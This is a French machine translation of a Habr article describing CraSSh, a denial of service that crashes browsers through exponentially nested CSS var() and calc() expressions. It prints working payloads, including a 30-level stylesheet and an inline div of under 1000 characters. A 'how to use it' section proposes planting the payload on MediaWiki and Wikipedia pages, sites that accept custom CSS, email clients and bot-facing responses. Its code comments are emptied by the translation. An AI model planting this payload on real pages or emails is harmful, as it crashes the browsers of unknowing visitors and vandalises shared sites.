CraSSh: casser tous les navigateurs modernes avec des calculs CSS

Auteur de l'article: Konstantin Safonov

Je ne veux pas lire ce bavardage technique. Mon navigateur vient de tomber.

Qu'est-ce que CraSSh


CraSSh est une attaque DoS purement déclarative inter-navigateurs basée sur une mauvaise gestion des fonctions imbriquées CSS var() et calc() dans les navigateurs modernes.

CraSSh fonctionne dans tous les principaux navigateurs sur les ordinateurs de bureau et les appareils mobiles:

  • Moteur WebKit / Blink - Chrome, Opera, Safari, même Samsung Internet sur les téléviseurs intelligents et les réfrigérateurs.
    • Android WebView, iOS UIWebView sont également affectés, c'est-à-dire que vous pouvez planter n'importe quelle application avec un navigateur intégré.
  • Sur le moteur Gecko - Firefox et ses fourches, comme Tor Browser.
    • Le servo n'a démarré sur aucune de mes machines, je ne l'ai donc pas testé.
  • Sur le moteur EdgeHTML - Edge sur Windows, WebView sur les applications UWP (est-ce que quelqu'un les utilise du tout?)

Le navigateur IE n'est pas affecté, car il ne prend pas en charge les fonctions sur lesquelles l'attaque est basée, mais ses utilisateurs ont eux-mêmes de nombreux problèmes (probablement ce navigateur peut être détruit d'autres manières - environ Per.) .

Comment ça marche


L'idée de CraSSh est d'obtenir que le navigateur calcule une propriété CSS avec des appels de variables imbriquées en temps exponentiel et avec une énorme utilisation de la mémoire.

L'attaque repose sur trois fonctionnalités CSS:

Variables CSS ( propriétés personnalisées et var () )

Ils vous permettent de déclarer: affecter et lire des variables:

 .variables { --variable: 1px; /* declare some variable */ height: var(--variable); /* read the previously declared variable */ } 


Les variables n'autorisent pas la récursivité (bien qu'il y ait eu un bogue dans WebKit qui a provoqué une récursivité infinie) ou des boucles, mais elles peuvent être définies comme

expressions calc ()

Les expressions calc () vous permettent d'effectuer certaines opérations arithmétiques de base lors de la description des règles, par exemple, 'width: calc(50% - 10px)' .

calc() vous permet de référencer des variables et d'utiliser plusieurs valeurs dans une seule expression:

 .calc { --variable: 1px; /* declare a constant */ height: calc(var(--variable) + var(--variable)); /* access --variable twice */ } 


Cela permet:

  • augmenter linéairement les calculs dans chaque expression calc() en ajoutant des références aux variables précédentes;
  • augmentez de façon exponentielle la complexité de chaque déclaration de variable avec une expression calc() qui fait référence à d'autres variables calculées:

 .calc_multiple { --variable-level-0: 1px; /*  */ --variable-level-1: calc(var(--variable-level-0) + var(--variable-level-0)); /* 2   */ --variable-level-2: calc(var(--variable-level-1) + var(--variable-level-1)); /* 2   , 4   */ /* ...    */ --variable-level-n: calc(var(--variable-level-n-1) + var(--variable-level-n-1)); /* 2   , 2 ^ n   */ } 


Il semble que cela devrait être calculé sur une durée exponentielle, mais les navigateurs modernes sont un peu plus intelligents, ils calculent donc généralement les valeurs des variables une fois, réduisant la complexité à linéaire. L'astuce est que la mise en cache des valeurs variables ne se produit pas si elle a

sens hétérogène

Techniquement, cela fait partie de calc() , mais il mérite une mention spéciale. Une variable hétérogène contient à la fois des unités absolues et relatives. Elle ne peut pas être:

  • calculée en valeur absolue et partagée par diverses applications pour divers éléments, car elle dépend des propriétés de l'élément cible (unités '%' / 'em' );
  • calculé comme une valeur absolue dans une application, car dans certains cas, cela entraînera l'accumulation d'erreurs d'arrondi provoquant d'étranges décalages de sous-pixels qui violent les dispositions complexes (avez-vous 12 colonnes, chacune 1/12 de la largeur de l'écran? Pas de chance, mon pote, elles se réuniront dans une nouvelle rangée ou laisser un espace maladroit à la fin).

Ainsi, cette valeur est recalculée à chaque fois:

 .non_cached { --const: calc(50% + 10px); /*  (50% + 10px) */ --variable: calc(var(--const) + var(--const)); /* -     */ width: var(--variable); /*    */ } 

Quant au deuxième point, la plupart des navigateurs incorporent simplement des variables imbriquées avec une valeur hétérogène dans une seule expression pour éviter les erreurs d'arrondi:

 .mixed { --mixed:calc(1% + 1px); /*   */ --mixed-reference: calc(var(--mixed) + var(--mixed)); /*      */ --mixed-reference-evaluates-to: calc(1% + 1px + 1% + 1px); /*     */ --mixed-reference-computes-as: calc(2% + 2px); /*  ,        */ } 

Imaginez qu'il y a des millions (ou des milliards) d'éléments dans l'expression ... Le moteur CSS essaie d'allouer plusieurs gigaoctets de RAM, de réduire l'expression, d'ajouter des gestionnaires d'événements afin que les propriétés puissent être comptées lorsque quelque chose change. En fin de compte, cela se produit à un certain stade.

Ainsi, le CraSSh d'origine avait l'air:

 .crassh { --initial-level-0: calc(1vh + 1% + 1px + 1em + 1vw + 1cm); /*   */ --level-1: calc(var(--initial-level-0) + var(--initial-level-0)); /* 2  */ --level-2: calc(var(--level-1) + var(--level-1)); /* 4  */ --level-3: calc(var(--level-2) + var(--level-2)); /* 8  */ --level-4: calc(var(--level-3) + var(--level-3)); /* 16  */ --level-5: calc(var(--level-4) + var(--level-4)); /* 32  */ --level-6: calc(var(--level-5) + var(--level-5)); /* 64  */ --level-7: calc(var(--level-6) + var(--level-6)); /* 128  */ --level-8: calc(var(--level-7) + var(--level-7)); /* 256  */ --level-9: calc(var(--level-8) + var(--level-8)); /* 512  */ --level-10: calc(var(--level-9) + var(--level-9)); /* 1024  */ --level-11: calc(var(--level-10) + var(--level-10)); /* 2048  */ --level-12: calc(var(--level-11) + var(--level-11)); /* 4096  */ --level-13: calc(var(--level-12) + var(--level-12)); /* 8192  */ --level-14: calc(var(--level-13) + var(--level-13)); /* 16384  */ --level-15: calc(var(--level-14) + var(--level-14)); /* 32768  */ --level-16: calc(var(--level-15) + var(--level-15)); /* 65536  */ --level-17: calc(var(--level-16) + var(--level-16)); /* 131072  */ --level-18: calc(var(--level-17) + var(--level-17)); /* 262144  */ --level-19: calc(var(--level-18) + var(--level-18)); /* 524288  */ --level-20: calc(var(--level-19) + var(--level-19)); /* 1048576  */ --level-21: calc(var(--level-20) + var(--level-20)); /* 2097152  */ --level-22: calc(var(--level-21) + var(--level-21)); /* 4194304  */ --level-23: calc(var(--level-22) + var(--level-22)); /* 8388608  */ --level-24: calc(var(--level-23) + var(--level-23)); /* 16777216  */ --level-25: calc(var(--level-24) + var(--level-24)); /* 33554432  */ --level-26: calc(var(--level-25) + var(--level-25)); /* 67108864  */ --level-27: calc(var(--level-26) + var(--level-26)); /* 134217728  */ --level-28: calc(var(--level-27) + var(--level-27)); /* 268435456  */ --level-29: calc(var(--level-28) + var(--level-28)); /* 536870912  */ --level-30: calc(var(--level-29) + var(--level-29)); /* 1073741824  */ --level-final: calc(var(--level-30) + 1px); /* 1073741824  */ /* ^        ->   -  */ border-width: var(--level-final); /* <-    */ /*     border-width,   style (=  ) */ border-style: solid; } 

 <div class="crassh">    ,      CSS     CraSSh </div> 

Et voici la version intégrée de moins de 1000 caractères (MediaWiki pour démonstration).

 <div style="--a:1px;--b:calc(var(--a) + var(--a));--c:calc(var(--b) + var(--b));--d:calc(var(--c) + var(--c));--e:calc(var(--d) + var(--d));--f:calc(var(--e) + var(--e));--g:calc(var(--f) + var(--f));--h:calc(var(--g) + var(--g));--i:calc(var(--h) + var(--h));--j:calc(var(--i) + var(--i));--k:calc(var(--j) + var(--j));--l:calc(var(--k) + var(--k));--m:calc(var(--l) + var(--l));--n:calc(var(--m) + var(--m));--o:calc(var(--n) + var(--n));--p:calc(var(--o) + var(--o));--q:calc(var(--p) + var(--p));--r:calc(var(--q) + var(--q));--s:calc(var(--r) + var(--r));--t:calc(var(--s) + var(--s));--u:calc(var(--t) + var(--t));--v:calc(var(--u) + var(--u));--w:calc(var(--v) + var(--v));--x:calc(var(--w) + var(--w));--y:calc(var(--x) + var(--x));--z:calc(var(--y) + var(--y));--vf:calc(var(--z) + 1px);border-width:var(--vf);border-style:solid;">CraSSh</div> 

Comment l'utiliser


En plus d'éloigner les utilisateurs de leur propre site ou blog sur une plate-forme qui donne un accès complet au HTML, comme Tumblr ( exemple avec un crash de navigateur ) ou LiveJournal ( exemple avec un crash de navigateur ), CraSSh vous permet de:

  • Brisez l'interface utilisateur sur les pages du site qui sont sous votre contrôle et vous permettent de définir des CSS arbitraires, sans même fournir de modèles HTML. J'ai réussi à casser MyAnimeList ( exemple avec un crash de navigateur ). Reddit n'est pas affecté par cette attaque car leur analyseur ne prend pas en charge les variables CSS.
  • Smash UIs sur des pages accessibles en écriture accessibles au public qui vous permettent d'incorporer des balises HTML avec des styles en ligne. Sur Wikipédia, mon compte a été interdit de vandalisme, bien que j'aie publié un exemple avec un échec de navigateur sur ma page personnelle. L'attaque affecte la plupart des projets basés sur MediaWiki. En principe, une page cassée ne peut plus être restaurée via l'interface utilisateur.
  • Cause des clients de messagerie HTML

    • C'est assez délicat car les clients de messagerie suppriment / réduisent le HTML et ne prennent généralement pas en charge les fonctionnalités CSS modernes que CraSSh utilise.
    • CraSSh travaille en

      • Samsung Mail pour Android
    • CraSSh ne fonctionne pas dans

      • Outlook (Web)
      • Gmail (Web)
      • Gmail (Android)
      • Yahoo (web)
      • Yandex (web)
      • Protonmail (web)
      • Zimbra (Web, installation hors ligne)
      • Windows Mail (Windows évidemment)
    • Doit travailler dans

      • Outlook pour Mac (utilise en interne Webkit)
    • D'autres n'ont pas testé.
  • Je viens de me faire une mauvaise idée que CraSSh peut être utilisé contre les bots basés sur CEF / PhantomJS. Le site attaqué peut injecter du code CraSSh avec des en-têtes ( comme ici ), et ne pas afficher l'erreur 403 habituelle. IIRC, les erreurs sont traitées différemment dans les moteurs embarqués, donc

    • cela entraînera probablement le plantage du bot (personne ne s'attend à un débordement de pile ou quelque chose dans le navigateur sans tête)
    • il est très difficile à déboguer, car il n'apparaît même pas dans le corps de la réponse, qui, très probablement, ira dans les journaux


Pourquoi est-ce fait


  • Rappelez-vous ce poste Linus?

    Il semble que le monde de la sécurité informatique ait atteint un nouveau fond.

    Si vous travaillez en toute sécurité et pensez que vous avez une conscience, je pense que vous pouvez écrire:

    «Non, vraiment, je ne suis pas une putain. Honnêtement, honnêtement »

    sur sa carte de visite. Je pensais que toute l'industrie est pourrie, mais cela devient déjà ridicule.

    À quel moment les agents de sécurité admettent-ils qu'ils aiment attirer l'attention sur eux?

    Je suis allé encore plus loin et ai fait un site entier dédié à un simple bug, car le plaisir de travailler jusqu'à 4 heures du matin et l'attention aux résultats obtenus sont les quelques choses qui m'empêchent de déprimer et de plonger sur ce joli trottoir devant le bureau.
  • De plus, je déteste le frontend, qui fait partie de mon travail en tant que développeur fullstack, et de telles choses m'aident à me détendre un peu.

Trucs similaires


Maintenant, je participe à un projet incroyable, dont nous parlerons un peu plus tard. Suivez-nous sur Twitter .

Remerciements spéciaux


Source: https://habr.com/ru/post/fr431656/


All Articles